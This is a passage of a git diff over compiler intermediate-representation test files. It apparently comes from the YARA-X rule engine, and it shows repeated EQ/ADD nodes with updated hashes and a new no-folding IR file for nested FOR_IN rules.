ty: integer, index: 5 }, type_value: integer(unknown) } 145: CONST integer(28) 147: CONST integer(10) - 153: EQ -- hash: 0x5098daefc165607e - 151: ADD -- hash: 0x949df8295cef0d + 153: EQ -- hash: 0xb826aa205937a6b8 + 151: ADD -- hash: 0x5567b3a9a6e0626a 149: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 150: CONST integer(29) 152: CONST integer(10) - 158: EQ -- hash: 0x3cc3f433964e24d6 - 156: ADD -- hash: 0xa94e289f3d21c4f8 + 158: EQ -- hash: 0xa451c3642e206b10 + 156: ADD -- hash: 0xfe213e50baa53855 154: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 155: CONST integer(30) 157: CONST integer(10) - 163: EQ -- hash: 0x28ef0d776b36e92e - 161: ADD -- hash: 0x5207b34650e69ae4 + 163: EQ -- hash: 0x907cdca803092f68 + 161: ADD -- hash: 0xa6dac8f7ce6a0e41 159: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 160: CONST integer(31) 162: CONST integer(10) - 168: EQ -- hash: 0x151a26bb3c1fad86 - 166: ADD -- hash: 0xfac13ded64ab70cf + 168: EQ -- hash: 0x7ca7f5ebd7f1f3c0 + 166: ADD -- hash: 0x4f94539ee22ee42d 164: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 165: CONST integer(32) 167: CONST integer(10) - 173: EQ -- hash: 0x1453fff110871de - 171: ADD -- hash: 0xa37ac894787046bb + 173: EQ -- hash: 0x68d30f2fa8dab818 + 171: ADD -- hash: 0xf84dde45f5f3ba18 169: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 170: CONST integer(33) 172: CONST integer(10) - 178: EQ -- hash: 0xed705942e5f13635 - 176: ADD -- hash: 0x4c34533b8c351ca7 + 178: EQ -- hash: 0x54fe28737dc37c70 + 176: ADD -- hash: 0xa10768ed09b89004 174: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 175: CONST integer(34) 177: CONST integer(10) - 183: EQ -- hash: 0xd99b7286bad9fa8d - 181: ADD -- hash: 0xf4eddde2a3f9f292 + 183: EQ -- hash: 0x412941b752ac40c8 + 181: ADD -- hash: 0x49c0f3941d7d65f0 179: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 180: CONST integer(35) 182: CONST integer(10) - 188: EQ -- hash: 0xc5c68bca8fc2bee5 - 186: ADD -- hash: 0x9da76889b7bec87e + 188: EQ -- hash: 0x2d545afb27950520 + 186: ADD -- hash: 0xf27a7e3b31423bdb 184: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 185: CONST integer(36) 187: CONST integer(10) - 193: EQ -- hash: 0xb1f1a50e60ab833d - 191: ADD -- hash: 0x4660f330cb839e6a + 193: EQ -- hash: 0x197f743ef87dc978 + 191: ADD -- hash: 0x9b3408e2450711c7 189: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 190: CONST integer(37) 192: CONST integer(10) - 198: EQ -- hash: 0x9e1cbe5235944795 - 196: ADD -- hash: 0xef1a7dd7df487455 + 198: EQ -- hash: 0x5aa8d82cd668dd0 + 196: ADD -- hash: 0x43ed938958cbe7b3 194: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 195: CONST integer(38) 197: CONST integer(10) - 203: EQ -- hash: 0x8a47d7960a7d0bed - 201: ADD -- hash: 0x97d4087ef30d4a41 + 203: EQ -- hash: 0xf1d5a6c6a24f5227 + 201: ADD -- hash: 0xeca71e306c90bd9e 199: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 200: CONST integer(39) 202: CONST integer(10) - 208: EQ -- hash: 0x7672f0d9df65d045 - 206: ADD -- hash: 0x408d932606d2202d + 208: EQ -- hash: 0xde00c00a7738167f + 206: ADD -- hash: 0x9560a8d78055938a 204: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 205: CONST integer(40) 207: CONST integer(10) - 213: EQ -- hash: 0x629e0a1db04e949d - 211: ADD -- hash: 0xe9471dcd1a96f618 + 213: EQ -- hash: 0xca2bd94e4820dad7 + 211: ADD -- hash: 0x3e1a337e941a6976 209: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 210: CONST integer(41) 212: CONST integer(10) - 218: EQ -- hash: 0x4ec92361853758f5 - 216: ADD -- hash: 0x9200a8742e5bcc04 + 218: EQ -- hash: 0xb656f2921d099f2f + 216: ADD -- hash: 0xe6d3be25abdf3f61 214: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 215: CONST integer(42) 217: CONST integer(10) - 223: EQ -- hash: 0x3af43ca55a201d4d - 221: ADD -- hash: 0x3aba331b4220a1f0 + 223: EQ -- hash: 0xa2820bd5f1f26387 + 221: ADD -- hash: 0x8f8d48ccbfa4154d 219: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 220: CONST integer(43) 222: CONST integer(10) - 228: EQ -- hash: 0x271f55e92f08e1a5 - 226: ADD -- hash: 0xe373bdc255e577db + 228: EQ -- hash: 0x8ead2519c6db27df + 226: ADD -- hash: 0x3846d373d368eb39 224: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 225: CONST integer(44) 227: CONST integer(10) - 233: EQ -- hash: 0x134a6f2d03f1a5fd - 231: ADD -- hash: 0x8c2d486969aa4dc7 + 233: EQ -- hash: 0x7ad83e5d9bc3ec37 + 231: ADD -- hash: 0xe1005e1ae72dc124 229: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 230: CONST integer(45) 232: CONST integer(10) - 238: EQ -- hash: 0xff758870d4da6a54 - 236: ADD -- hash: 0x34e6d3107d6f23b3 + 238: EQ -- hash: 0x670357a16cacb08f + 236: ADD -- hash: 0x89b9e8c1faf29710 234: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 235: CONST integer(46) 237: CONST integer(10) - 243: EQ -- hash: 0xeba0a1b4a9c32eac - 241: ADD -- hash: 0xdda05db79133f99e + 243: EQ -- hash: 0x532e70e5419574e7 + 241: ADD -- hash: 0x327373690eb76cfc 239: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 240: CONST integer(47) 242: CONST integer(10) - 248: EQ -- hash: 0xd7cbbaf87eabf304 - 246: ADD -- hash: 0x8659e85ea4f8cf8a + 248: EQ -- hash: 0x3f598a29167e393f + 246: ADD -- hash: 0xdb2cfe10227c42e7 244: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 245: CONST integer(48) 247: CONST integer(10) - 253: EQ -- hash: 0xc3f6d43c5394b75c - 251: ADD -- hash: 0x2f137305b8bda576 + 253: EQ -- hash: 0x2b84a36ceb66fd97 + 251: ADD -- hash: 0x83e688b7364118d3 249: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 250: CONST integer(49) 252: CONST integer(10) - 258: EQ -- hash: 0xb021ed80247d7bb4 - 256: ADD -- hash: 0xd7ccfdaccc827b61 + 258: EQ -- hash: 0x17afbcb0bc4fc1ef + 256: ADD -- hash: 0x2ca0135e4a05eebf 254: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 255: CONST integer(50) 257: CONST integer(10) - 263: EQ -- hash: 0x9c4d06c3f966400c - 261: ADD -- hash: 0x80868853e047514d + 263: EQ -- hash: 0x3dad5f491388647 + 261: ADD -- hash: 0xd5599e055dcac4aa 259: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 260: CONST integer(51) 262: CONST integer(10) - 268: EQ -- hash: 0x88782007ce4f0464 - 266: ADD -- hash: 0x294012faf40c2739 + 268: EQ -- hash: 0xf005ef3866214a9e + 266: ADD -- hash: 0x7e1328ac718f9a96 264: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 265: CONST integer(52) 267: CONST integer(10) - 273: EQ -- hash: 0x74a3394ba337c8bc - 271: ADD -- hash: 0xd1f99da20bd0fd24 + 273: EQ -- hash: 0xdc31087c3b0a0ef6 + 271: ADD -- hash: 0x26ccb35385547082 269: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 270: CONST integer(53) 272: CONST integer(10) - 278: EQ -- hash: 0x60ce528f74208d14 - 276: ADD -- hash: 0x7ab328491f95d310 + 278: EQ -- hash: 0xc85c21c00ff2d34e + 276: ADD -- hash: 0xcf863dfa9919466d 274: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 275: CONST integer(54) 277: CONST integer(10) - 283: EQ -- hash: 0x4cf96bd34909516c - 281: ADD -- hash: 0x236cb2f0335aa8fc + 283: EQ -- hash: 0xb4873b03e0db97a6 + 281: ADD -- hash: 0x783fc8a1acde1c59 279: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 280: CONST integer(55) 282: CONST integer(10) - 288: EQ -- hash: 0x392485171df215c4 - 286: ADD -- hash: 0xcc263d97471f7ee7 + 288: EQ -- hash: 0xa0b25447b5c45bfe + 286: ADD -- hash: 0x20f95348c0a2f245 284: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 285: CONST integer(56) 287: CONST integer(10) - 293: EQ -- hash: 0x254f9e5af2dada1c - 291: ADD -- hash: 0x74dfc83e5ae454d3 + 293: EQ -- hash: 0x8cdd6d8b8aad2056 + 291: ADD -- hash: 0xc9b2ddefd467c830 289: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 290: CONST integer(57) 292: CONST integer(10) - 298: EQ -- hash: 0x117ab79ec7c39e74 - 296: ADD -- hash: 0x1d9952e56ea92abf + 298: EQ -- hash: 0x790886cf5f95e4ae + 296: ADD -- hash: 0x726c6896e82c9e1c 294: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 295: CONST integer(58) 297: CONST integer(10) - 303: EQ -- hash: 0xfda5d0e298ac62cb - 301: ADD -- hash: 0xc652dd8c826e00aa + 303: EQ -- hash: 0x6533a013307ea906 + 301: ADD -- hash: 0x1b25f33dfff17408 299: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 300: CONST integer(59) 302: CONST integer(10) - 308: EQ -- hash: 0xe9d0ea266d952723 - 306: ADD -- hash: 0x6f0c68339632d696 + 308: EQ -- hash: 0x515eb95705676d5e + 306: ADD -- hash: 0xc3df7de513b649f3 304: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 305: CONST integer(60) 307: CONST integer(10) - 313: EQ -- hash: 0xd5fc036a427deb7b - 311: ADD -- hash: 0x17c5f2daa9f7ac82 + 313: EQ -- hash: 0x3d89d29ada5031b6 + 311: ADD -- hash: 0x6c99088c277b1fdf 309: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 310: CONST integer(61) 312: CONST integer(10) - 318: EQ -- hash: 0xc2271cae1766afd3 - 316: ADD -- hash: 0xc07f7d81bdbc826d + 318: EQ -- hash: 0x29b4ebdeaf38f60e + 316: ADD -- hash: 0x155293333b3ff5cb 314: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 315: CONST integer(62) 317: CONST integer(10) - 323: EQ -- hash: 0xae5235f1e84f742b - 321: ADD -- hash: 0x69390828d1815859 + 323: EQ -- hash: 0x15e005228021ba66 + 321: ADD -- hash: 0xbe0c1dda4f04cbb6 319: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 320: CONST integer(63) 322: CONST integer(10) - 328: EQ -- hash: 0x9a7d4f35bd383883 - 326: ADD -- hash: 0x11f292cfe5462e45 + 328: EQ -- hash: 0x20b1e66550a7ebe + 326: ADD -- hash: 0x66c5a88162c9a1a2 324: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 325: CONST integer(64) 327: CONST integer(10) - 333: EQ -- hash: 0x86a868799220fcdb - 331: ADD -- hash: 0xbaac1d76f90b0430 + 333: EQ -- hash: 0xee3637aa29f34315 + 331: ADD -- hash: 0xf7f3328768e778e 329: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 330: CONST integer(65) 332: CONST integer(10) - 338: EQ -- hash: 0x72d381bd6709c133 - 336: ADD -- hash: 0x6365a81e0ccfda1c + 338: EQ -- hash: 0xda6150edfedc076d + 336: ADD -- hash: 0xb838bdcf8a534d79 334: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 335: CONST integer(66) 337: CONST integer(10) - 343: EQ -- hash: 0x5efe9b013bf2858b - 341: ADD -- hash: 0xc1f32c52094b008 + 343: EQ -- hash: 0xc68c6a31d3c4cbc5 + 341: ADD -- hash: 0x60f248769e182365 339: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 340: CONST integer(67) 342: CONST integer(10) - 348: EQ -- hash: 0x4b29b4450cdb49e3 - 346: ADD -- hash: 0xb4d8bd6c345985f3 + 348: EQ -- hash: 0xb2b78375a4ad901d + 346: ADD -- hash: 0x9abd31db1dcf951 344: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 345: CONST integer(68) 347: CONST integer(10) - 353: EQ -- hash: 0x3754cd88e1c40e3b - 351: ADD -- hash: 0x5d924813481e5bdf + 353: EQ -- hash: 0x9ee29cb979965475 + 351: ADD -- hash: 0xb2655dc4c5a1cf3c 349: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 350: CONST integer(69) 352: CONST integer(10) - 358: EQ -- hash: 0x237fe6ccb6acd293 - 356: ADD -- hash: 0x64bd2ba5fe331cb + 358: EQ -- hash: 0x8b0db5fd4e7f18cd + 356: ADD -- hash: 0x5b1ee86bd966a528 354: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 355: CONST integer(70) 357: CONST integer(10) - 363: EQ -- hash: 0xfab00108b9596eb - 361: ADD -- hash: 0xaf055d6173a807b6 + 363: EQ -- hash: 0x7738cf412367dd25 + 361: ADD -- hash: 0x3d87312ed2b7b14 359: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 360: CONST integer(71) 362: CONST integer(10) - 368: EQ -- hash: 0xfbd619545c7e5b42 - 366: ADD -- hash: 0x57bee808876cdda2 + 368: EQ -- hash: 0x6363e884f450a17d + 366: ADD -- hash: 0xac91fdba00f050ff 364: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 365: CONST integer(72) 367: CONST integer(10) - 373: EQ -- hash: 0xe801329831671f9a - 371: ADD -- hash: 0x7872af9b31b38e + 373: EQ -- hash: 0x4f8f01c8c93965d5 + 371: ADD -- hash: 0x554b886114b526eb 369: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 370: CONST integer(73) 372: CONST integer(10) - 378: EQ -- hash: 0xd42c4bdc064fe3f2 - 376: ADD -- hash: 0xa931fd56aef68979 + 378: EQ -- hash: 0x3bba1b0c9e222a2d + 376: ADD -- hash: 0xfe0513082879fcd6 374: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 375: CONST integer(74) 377: CONST integer(10) - 383: EQ -- hash: 0xc057651fdb38a84a - 381: ADD -- hash: 0x51eb87fdc2bb5f65 + 383: EQ -- hash: 0x27e53450730aee85 + 381: ADD -- hash: 0xa6be9daf3c3ed2c2 379: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 380: CONST integer(75) 382: CONST integer(10) - 388: EQ -- hash: 0xac827e63ac216ca2 - 386: ADD -- hash: 0xfaa512a4d6803550 + 388: EQ -- hash: 0x14104d9447f3b2dd + 386: ADD -- hash: 0x4f7828565003a8ae 384: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 385: CONST integer(76) 387: CONST integer(10) - 393: EQ -- hash: 0x98ad97a7810a30fa - 391: ADD -- hash: 0xa35e9d4bea450b3c + 393: EQ -- hash: 0x3b66d818dc7735 + 391: ADD -- hash: 0xf831b2fd67c87e99 389: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 390: CONST integer(77) 392: CONST integer(10) - 398: EQ -- hash: 0x84d8b0eb55f2f552 - 396: ADD -- hash: 0x4c1827f2fe09e128 + 398: EQ -- hash: 0xec66801bedc53b8c + 396: ADD -- hash: 0xa0eb3da47b8d5485 394: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 395: CONST integer(78) 397: CONST integer(10) - 403: EQ -- hash: 0x7103ca2f2adbb9aa - 401: ADD -- hash: 0xf4d1b29a11ceb713 + 403: EQ -- hash: 0xd891995fc2adffe4 + 401: ADD -- hash: 0x49a4c84b8f522a71 399: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 400: CONST integer(79) 402: CONST integer(10) - 408: EQ -- hash: 0x5d2ee372ffc47e02 - 406: ADD -- hash: 0x9d8b3d4125938cff + 408: EQ -- hash: 0xc4bcb2a39796c43c + 406: ADD -- hash: 0xf25e52f2a317005c 404: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 405: CONST integer(80) 407: CONST integer(10) - 413: EQ -- hash: 0x4959fcb6d0ad425a - 411: ADD -- hash: 0x4644c7e8395862eb + 413: EQ -- hash: 0xb0e7cbe7687f8894 + 411: ADD -- hash: 0x9b17dd99b6dbd648 409: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 410: CONST integer(81) 412: CONST integer(10) - 418: EQ -- hash: 0x358515faa59606b2 - 416: ADD -- hash: 0xeefe528f4d1d38d6 + 418: EQ -- hash: 0x9d12e52b3d684cec + 416: ADD -- hash: 0x43d16840caa0ac34 414: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 415: CONST integer(82) 417: CONST integer(10) - 423: EQ -- hash: 0x21b02f3e7a7ecb0a - 421: ADD -- hash: 0x97b7dd3660e20ec2 + 423: EQ -- hash: 0x893dfe6f12511144 + 421: ADD -- hash: 0xec8af2e7de65821f 419: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 420: CONST integer(83) 422: CONST integer(10) - 428: EQ -- hash: 0xddb48824f678f62 - 426: ADD -- hash: 0x407167dd74a6e4ae + 428: EQ -- hash: 0x756917b2e739d59c + 426: ADD -- hash: 0x95447d8ef22a580b 424: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 425: CONST integer(84) 427: CONST integer(10) - 433: EQ -- hash: 0xfa0661c6205053b9 - 431: ADD -- hash: 0xe92af284886bba99 + 433: EQ -- hash: 0x619430f6b82299f4 + 431: ADD -- hash: 0x3dfe083605ef2df7 429: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 430: CONST integer(85) 432: CONST integer(10) - 438: EQ -- hash: 0xe6317b09f5391811 - 436: ADD -- hash: 0x91e47d2b9c309085 + 438: EQ -- hash: 0x4dbf4a3a8d0b5e4c + 436: ADD -- hash: 0xe6b792dd19b403e2 434: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 435: CONST integer(86) 437: CONST integer(10) - 443: EQ -- hash: 0xd25c944dca21dc69 - 441: ADD -- hash: 0x3a9e07d2b3f56671 + 443: EQ -- hash: 0x39ea637e61f422a4 + 441: ADD -- hash: 0x8f711d842d78d9ce 439: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 440: CONST integer(87) 442: CONST integer(10) - 448: EQ -- hash: 0xbe87ad919f0aa0c1 - 446: ADD -- hash: 0xe3579279c7ba3c5c + 448: EQ -- hash: 0x26157cc236dce6fc + 446: ADD -- hash: 0x382aa82b413dafba 444: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 445: CONST integer(88) 447: CONST integer(10) - 453: EQ -- hash: 0xaab2c6d573f36519 - 451: ADD -- hash: 0x8c111d20db7f1248 + 453: EQ -- hash: 0x124096060bc5ab54 + 451: ADD -- hash: 0xe0e432d2550285a5 449: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 450: CONST integer(89) 452: CONST integer(10) - 458: EQ -- hash: 0x96dde01944dc2971 - 456: ADD -- hash: 0x34caa7c7ef43e834 + 458: EQ -- hash: 0xfe6baf49dcae6fab + 456: ADD -- hash: 0x899dbd7968c75b91 454: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 455: CONST integer(90) 457: CONST integer(10) - 463: EQ -- hash: 0x8308f95d19c4edc9 - 461: ADD -- hash: 0xdd84326f0308be1f + 463: EQ -- hash: 0xea96c88db1973403 + 461: ADD -- hash: 0x325748207c8c317d 459: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 460: CONST integer(91) 462: CONST integer(10) - 468: EQ -- hash: 0x6f3412a0eeadb221 - 466: ADD -- hash: 0x863dbd1616cd940b + 468: EQ -- hash: 0xd6c1e1d1867ff85b + 466: ADD -- hash: 0xdb10d2c790510768 464: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 465: CONST integer(92) 467: CONST integer(10) - 473: EQ -- hash: 0x5b5f2be4c3967679 - 471: ADD -- hash: 0x2ef747bd2a9269f7 + 473: EQ -- hash: 0xc2ecfb155b68bcb3 + 471: ADD -- hash: 0x83ca5d6ea415dd54 469: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 470: CONST integer(93) 472: CONST integer(10) - 478: EQ -- hash: 0x478a4528947f3ad1 - 476: ADD -- hash: 0xd7b0d2643e573fe2 + 478: EQ -- hash: 0xaf1814592c51810b + 476: ADD -- hash: 0x2c83e815bbdab340 474: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 475: CONST integer(94) 477: CONST integer(10) - 483: EQ -- hash: 0x33b55e6c6967ff29 - 481: ADD -- hash: 0x806a5d0b521c15ce + 483: EQ -- hash: 0x9b432d9d013a4563 + 481: ADD -- hash: 0xd53d72bccf9f892b 479: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 480: CONST integer(95) 482: CONST integer(10) - 488: EQ -- hash: 0x1fe077b03e50c381 - 486: ADD -- hash: 0x2923e7b265e0ebba + 488: EQ -- hash: 0x876e46e0d62309bb + 486: ADD -- hash: 0x7df6fd63e3645f17 484: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 485: CONST integer(96) 487: CONST integer(10) - 493: EQ -- hash: 0xc0b90f4133987d9 - 491: ADD -- hash: 0xd1dd725979a5c1a5 + 493: EQ -- hash: 0x73996024ab0bce13 + 491: ADD -- hash: 0x26b0880af7293503 489: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 490: CONST integer(97) 492: CONST integer(10) - 498: EQ -- hash: 0xf836aa37e4224c30 - 496: ADD -- hash: 0x7a96fd008d6a9791 + 498: EQ -- hash: 0x5fc479687ff4926b + 496: ADD -- hash: 0xcf6a12b20aee0aee 494: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 495: CONST integer(98) 497: CONST integer(10) - 503: EQ -- hash: 0xe461c37bb90b1088 - 501: ADD -- hash: 0x235087a7a12f6d7d + 503: EQ -- hash: 0x4bef92ac50dd56c3 + 501: ADD -- hash: 0x78239d591eb2e0da 499: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 500: CONST integer(99) 502: CONST integer(10) - 508: EQ -- hash: 0xd08cdcbf8df3d4e0 - 506: ADD -- hash: 0xcc0a124eb4f44368 + 508: EQ -- hash: 0x381aabf025c61b1b + 506: ADD -- hash: 0x20dd28003277b6c6 504: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 505: CONST integer(100) 507: CONST integer(10) - 513: EQ -- hash: 0xbcb7f60362dc9938 - 511: ADD -- hash: 0x74c39cf5c8b91954 + 513: EQ -- hash: 0x2445c533faaedf73 + 511: ADD -- hash: 0xc996b2a7463c8cb1 509: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 510: CONST integer(101) 512: CONST integer(10) - 518: EQ -- hash: 0xa8e30f4737c55d90 - 516: ADD -- hash: 0x1d7d279cdc7def40 + 518: EQ -- hash: 0x1070de77cf97a3cb + 516: ADD -- hash: 0x72503d4e5a01629d 514: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 515: CONST integer(102) 517: CONST integer(10) - 523: EQ -- hash: 0x950e288b08ae21e8 - 521: ADD -- hash: 0xc636b243f042c52b + 523: EQ -- hash: 0xfc9bf7bba0806822 + 521: ADD -- hash: 0x1b09c7f56dc63889 519: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 520: CONST integer(103) 522: CONST integer(10) - 528: EQ -- hash: 0x813941cedd96e640 - 526: ADD -- hash: 0x6ef03ceb04079b17 + 528: EQ -- hash: 0xe8c710ff75692c7a + 526: ADD -- hash: 0xc3c3529c818b0e74 524: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 525: CONST integer(104) 527: CONST integer(10) diff --git a/lib/src/compiler/ir/tests/testdata/14.no-folding.ir b/lib/src/compiler/ir/tests/testdata/14.no-folding.ir new file mode 100644 index 000000000..4c73f7be5 --- /dev/null +++ b/lib/src/compiler/ir/tests/testdata/14.no-folding.ir @@ -0,0 +1,631 @@ +RULE test_1 + 20: FOR_IN -- hash: 0x298ed96d3c32feb2 + n: Var { frame_id: 1, ty: integer, index: 0 } + i: Var { frame_id: 1, ty: integer, index: 1 } + max_count: Var { frame_id: 1, ty: integer, index: 2 } + count: Var { frame_id: 1, ty: integer, index: 3 } + item: Var { frame_id: 1, ty: unknown, index: 4 } + 0: CONST integer(1) + 1: CONST integer(5) + 19: FOR_IN -- hash: 0x72fb54fdaef5fe3f + n: Var { frame_id: 2, ty: integer, index: 7 } + i: Var { frame_id: 2, ty: integer, index: 8 } + max_count: Var { frame_id: 2, ty: integer, index: 9 } + count: Var { frame_id: 2, ty: integer, index: 10 } + item: Var { frame_id: 2, ty: unknown, index: 11 } + 2: CONST integer(1) + 3: CONST integer(5) + 18: FOR_IN -- hash: 0x86912dc4de1c5873 + n: Var { frame_id: 3, ty: integer, index: 14 } + i: Var { frame_id: 3, ty: integer, index: 15 } + max_count: Var { frame_id: 3, ty: integer, index: 16 } + count: Var { frame_id: 3, ty: integer, index: 17 } + item: Var { frame_id: 3, ty: unknown, index: 18 } + 4: CONST integer(1) + 5: CONST integer(5) + 17: OR -- hash: 0x2902dc61cc1b01f0 + 10: GT -- hash: 0x44114a185b4bba23 + 8: FIELD_ACCESS -- hash: 0xae4777d2d39452d7 + 6: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 7: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 9: CONST integer(0) + 13: EQ -- hash: 0x1f49687e6a84b644 + 11: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } + 12: CONST integer(3) + 16: EQ -- hash: 0x62c8971dfc3f7650 + 14: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 12 }, type_value: integer(unknown) } + 15: CONST integer(4) + +RULE test_2 + 13: WITH -- hash: 0x753371e87de4823e + 0: CONST integer(10) + 12: FOR_IN -- hash: 0x68698c6374042e52 + n: Var { frame_id: 2, ty: integer, index: 1 } + i: Var { frame_id: 2, ty: integer, index: 2 } + max_count: Var { frame_id: 2, ty: integer, index: 3 } + count: Var { frame_id: 2, ty: integer, index: 4 } + item: Var { frame_id: 2, ty: unknown, index: 5 } + 1: CONST integer(1) + 2: CONST integer(5) + 11: AND -- hash: 0x848dae11a677e926 + 7: EQ -- hash: 0x395c1e555a23d37d + 5: ADD -- hash: 0x44450b1050cd26ec + 3: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 0 }, type_value: integer(10) } + 4: CONST integer(1) + 6: CONST integer(11) + 10: GT -- hash: 0xd486dd6863cc710e + 8: SYMBOL Var { var: Var { 